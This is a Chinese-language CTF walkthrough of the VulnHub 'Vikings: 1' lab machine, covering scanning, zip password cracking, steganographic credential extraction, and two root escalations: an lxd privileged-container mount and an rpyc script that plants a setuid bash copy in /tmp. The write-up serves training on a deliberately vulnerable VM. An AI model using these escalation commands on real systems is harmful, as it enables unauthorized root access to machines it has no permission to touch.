3

vulnhub靶场之VIKINGS: 1 - upfine

 1 year ago
source link: https://www.cnblogs.com/upfine/p/16889470.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

vulnhub靶场之VIKINGS: 1

准备:

攻击机:虚拟机kali、本机win10。

靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/vikings/Vikings.ova,下载后直接vbox打开即可。

知识点:binwalk获取隐藏信息、base64文件解密、john爆破密码、考拉兹猜想、rpyc提权、lxd提权。

2834847-20221115185935145-1940568228.png

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.1.0/24,获得靶机地址:192.168.1.34。

2834847-20221114164148053-742940190.png

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.1.34,显示开放了21、80端口,开启了ssh、http服务。

2834847-20221114164421546-1905600417.png

访问web服务并检查源代码信息未发现有效信息,使用dirmap进行目录扫描,发现war.txt。

2834847-20221114164650180-1770186155.png

访问war.txt文件给出了一个目录:/war-is-over,访问该目录:http://192.168.1.34/site/war-is-over/,返回的是一串加密的字符串。

2834847-20221114164812698-203800118.png

2834847-20221114164843882-1305667202.png

字符串解密:

将base64编码(最后存在=,猜测应该是base64)的字符串进行解码保存到本地并使用file查看文件类型,获得文件类型为zip,命令:curl http://192.168.1.34/site/war-is-over/ | base64 -d > upfine。

2834847-20221114165751794-64326400.png

修改文件后缀名然后进行解压文件,但是显示需要密码。使用fcrackzip进行密码的爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u upfine.zip,但是爆破失败。

2834847-20221114170438945-1548333035.png

fcrackzip爆破失败,那我们就使用zip2john把他的密码信息提取出来,命令:zip2john upfine.zip > passwd,然后使用john进行破解,命令:john passwd --show,成功获得密码:ragnarok123。

2834847-20221114172933248-1955213392.png

2834847-20221114173038507-388526421.png

对文件进行解密,解密之后发现是一张图片。

2834847-20221114173315243-1220574835.png

图片解密:

使用steghide获取隐藏信息,但是获取失败,就换了下工具使用binwalk获取隐藏信息,发现存在一个user文件。

2834847-20221114183244901-1762453601.png

使用binwalk获取下user文件并进行查看,命令:binwalk -e king。查看后获得两组字符串:FamousBoatbuilder_floki@vikings和f@m0usboatbuilde7。

2834847-20221114184117008-1459210518.png

获取shell:

根据获取的字符串信息猜测是一组账户名和密码,经过测试最终:floki:f@m0usboatbuilde7可以成功登录。

2834847-20221114192553310-1587922909.png

在当前账户下查看下目录信息,发现了readme.txt文件和boat文件并读取文件内容,内容信息告诉我们要找到ragnar,这里猜测这是一个账户,boat文件告诉我们要进行考拉兹猜想第29个素数。

2834847-20221114194529005-776579204.png

2834847-20221114195059958-61215382.png

提权-方式一:

查看当前用户下具有root权限的可执行文件都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,发现了:/usr/lib/policykit-1/polkit-agent-helper-1、/usr/lib/dbus-1.0/dbus-daemon-launch-helper、/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic。之前遇到过policykit两个漏洞:CVE-2021-4034和CVE-2021-3560,在这里测试无法提权。但是lxd提权在这里是可以实现的。

这里不是一个完整的lxd提权漏洞,因为镜像等一些信息都是已经安装好的,在我们进行安装时提示我们已经存在了,所以我们直接利用他原有的镜像就可以实现提权。

2834847-20221115185217314-176571425.png

查看下image列表信息,命令:lxc image list。

2834847-20221115185326526-1803543944.png

之后依次执行下面语句,成功获得root权限。

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

2834847-20221115185629389-490296271.png

获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。

2834847-20221115185852790-548550713.png

提权-方式二:

考拉兹猜想:

先理解下考拉兹猜想,直接看下图,这个说的很直观。

2834847-20221114195918202-1784916124.png

查找了一下第29个素数,显示是109,那写一个简单的脚本跑一下29的Collatz 序列。

collatz脚本

#对任意正整数n,若n为偶数则除以1,若n为奇数则乘3再加1,如此反复,其结果最终必会达到1
#博客园@upfine

num = 109
collatz=[109]
while num != 1:
    if num % 2 == 1:
        num = num * 3 + 1
    else:
        num = num / 2
    if num <= 127 and num >32:  #asii表内字符对应的10进制范围
        collatz.append(int(num))
print(collatz)

Collatz 序列结果

 [109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]
2834847-20221114204350772-1281244007.png

然后写一个简单的脚本对Collatz 序列进行转换,转换后获得一串字符串:mR)|>^/Gky[gz=\.F#j5P(,猜测是密码。

2834847-20221114204732014-1936982872.png

获取ragnar账户shell:

尝试使用ragnar/mR)|>^/Gky[gz=\.F#j5P(进行shell登录,成功登录,在ragnar账户下发现第一个flag信息。

2834847-20221114205128425-859444219.png

提权:

在ragnar账户目录下,发现多出来了一个.profile文件,查看该文件内容发现以root权限调用了/usr/local/bin/rpyc_classic.py文件。

2834847-20221115105223986-729605171.png

查看该文件权限,显示只具有读取权限,无法写入。这里找了下脚本直接将root权限进行复制。

import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
        import os
        os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
 
fn = conn.teleport(getshell)
fn()

 写入exp.py文件进行执行,会在/tmp文件夹下生成bashroot文件,执行bashroot文件(./bashroot -p)获得root权限。

2834847-20221115115800938-1782680091.png

2834847-20221115115918643-681223857.png

 在root目录下发现root.txt文件,读取文件信息获取到flag。

2834847-20221115120047166-472132901.png

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK